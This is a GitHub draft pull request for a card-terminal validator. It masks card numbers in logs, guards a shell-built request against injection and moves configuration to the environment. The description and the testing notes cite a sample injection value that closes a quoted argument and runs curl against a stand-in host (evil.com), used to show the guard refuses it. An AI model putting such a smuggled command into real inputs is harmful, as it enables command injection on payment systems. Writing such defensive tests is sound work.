Mask the pan, validate parsed fields, move configuration to the environment - #2
Draft
FARADTechnologies wants to merge 2 commits into
Draft
Mask the pan, validate parsed fields, move configuration to the environment#2FARADTechnologies wants to merge 2 commits into
FARADTechnologies wants to merge 2 commits into
Conversation
The pan was reaching a log by four separate routes: the authorisation log, the interface, the FIFO command traces on stdout, and the reader loop's capture line, which printed the raw hex the pan is encoded in. All four are masked to first six and last four. The request body and the curl command line are no longer logged at all. The request is still built as a shell command string, and the pan on the track path comes from decoding arbitrary bytes off the card, so a pan containing a quote could close the argument and have the rest read by the shell. Pan and expiry are now checked to be digits before either reaches the string. Verified that 4111'; curl evil.com # is refused and an ordinary pan is not. Configuration moves to the environment, loaded from config/validator.env. The endpoint has no compiled-in default on purpose: unset, the terminal declines and says so, rather than posting card data at whatever a stale constant held. The /home/atilhan paths are gone from all four sources. The startup script now resolves its own location, so it no longer depends on being installed at one particular path, and pipes the reader loop through tee because a redirect on a sudo line is performed by the calling user, not root.
The previous commit message and SECURITY_NOTES both said the /home/atilhan paths were gone from all four sources. Two are still there, in the commented-out debug block in parse_card_data.cpp. They are dead code and do not affect behaviour, but the sentence read as an absolute and was not one. The note now says what is actually true and why the block was left in place.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What this changes
Addresses the gaps written up in
docs/SECURITY_NOTES.md.curlcommand line are no longer logged at all.config/validator.env. The endpoint has no compiled-in default on purpose: unset, the terminal declines and logs the fact.Left alone deliberately: the Azerbaijani interface strings and the existing code comments.
How it was tested
cmake -B build && cmake --build build)Masking verified for 13, 16 and 19 digit pans. Injection guard verified:
4111'; curl evil.com #is refused, an ordinary 16-digit pan is accepted. Shellcheck reports no warnings at all on the startup script.Not yet tested on hardware — that is why this is a draft.
Checklist
docs/updatedCHANGELOG.mdupdated